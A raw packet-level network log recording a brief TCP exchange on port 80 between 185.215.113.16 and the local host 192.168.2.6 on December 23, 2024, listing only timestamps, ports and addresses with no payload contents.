Dec 23, 2024 06:53:39.595185041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.595285892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.595309973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.596139908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.596267939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.596295118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.597062111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.597177029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.598059893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.598222017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.598254919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.598956108 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.599069118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.599093914 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.599884033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.600002050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.600050926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.600848913 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.600951910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.601794004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.601908922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.601938963 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.602705956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.602822065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.602852106 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.603637934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.603765965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.603794098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.604581118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.604677916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.604707956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.605530977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.605644941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.605676889 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.606455088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.606555939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.606586933 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.607430935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.607553005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.607585907 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.608351946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.608475924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.608506918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.609318972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.609432936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.610224962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.610342026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.610382080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.611159086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.611264944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.611294031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.612096071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.612215996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.612247944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.613030910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.613127947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.614052057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.614126921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.614161968 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.614938974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.615036964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.615067959 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.615879059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.616010904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.616046906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.616801023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.616909981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.617748022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.617840052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.617882013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.618658066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.618839025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.618870974 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.619596958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.619689941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.619716883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.620532036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.620651007 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.620667934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.621468067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.621576071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.621607065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.622420073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.622541904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.622569084 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.623367071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.623457909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.623486996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.624289036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.624380112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.624408960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.680653095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.768081903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.768192053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.768290043 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.768455982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.768599987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.768740892 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.769582987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.769596100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.770068884 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.770330906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.770461082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.771276951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.771409988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.771423101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.771509886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.772236109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.772341967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.772459984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.773197889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.773325920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.773617983 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.774104118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.774193048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.775058985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.775166988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.775192976 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.775336981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.776014090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.776160955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.776880026 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.776906967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.777026892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.777864933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.777964115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.778000116 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.778240919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.778820038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.778911114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.779747009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.779871941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.779876947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.779962063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.780672073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.780776024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.781630993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.781748056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.781776905 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.781960964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.782546997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.782706976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.782799959 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.783500910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.783595085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.783730984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.784415007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.784555912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.784622908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.785417080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.785500050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.786297083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.786408901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.786433935 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.786828041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.787240028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.787332058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.787446022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.788203001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.788322926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.789104939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.789227962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.789249897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.789505005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.790091991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.790186882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.790309906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.790999889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.791105032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.791214943 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.791958094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.792063951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.792169094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.792887926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.792973042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.793293953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.793828964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.793925047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.794735909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.794745922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.794893026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.794989109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.795722008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.795836926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.796052933 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.796638012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.796729088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.797024965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.797589064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.797683001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.798541069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.798616886 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.798646927 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.798742056 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.799463034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.799571037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.799694061 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.800434113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.800501108 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.800666094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.801342010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.801429987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.802297115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.802381992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.802407980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.802867889 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.803219080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.803320885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.803425074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.804152966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.804510117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.804792881 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.805087090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.805197954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.805448055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.806057930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.806178093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.806979895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.807085037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.807115078 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.807251930 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.807903051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.808034897 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.808161974 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.808837891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.809000015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.809092045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.809801102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.809906960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.810726881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.810756922 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.810826063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.811676025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.811768055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.811796904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.812603951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.812714100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.812735081 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.812829971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.813548088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.813652039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.813759089 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.814485073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.814599037 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.814659119 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.815516949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.815537930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.815788031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.816354036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.816487074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.816643000 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.817256927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.867300987 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.960561991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.960705042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.960834980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.960958004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.961096048 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.961926937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.962002993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.962033987 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.962289095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.962805033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.962929964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.963063955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.963753939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.963884115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.963985920 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.964709997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.964859009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.965035915 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.965615034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.965723038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.966006994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.966556072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.966665983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.966737986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.967456102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.967673063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.967726946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.968398094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.968468904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.968643904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.969374895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.969507933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.970328093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.970359087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.970403910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.970870972 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.971265078 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.971327066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.972019911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.972189903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.972260952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.972348928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.973083019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.973198891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.973891973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.974066019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.974117994 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.974973917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.975004911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.975069046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.975476027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.975907087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.976063967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.976640940 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.976855040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.976912975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.977778912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.977808952 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.977916956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.978725910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.978755951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.978815079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.979659081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.979690075 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.979768038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.980604887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.980631113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.980705976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.981560946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.981662989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.981692076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.982098103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.982522964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.982618093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.982727051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.983393908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.983527899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.983902931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.984357119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.984460115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.984533072 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.985285044 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.985404015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.985523939 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:39.986202002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.986313105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:39.986455917 CET	49758	80	192.168.2.6	185.215.113.16
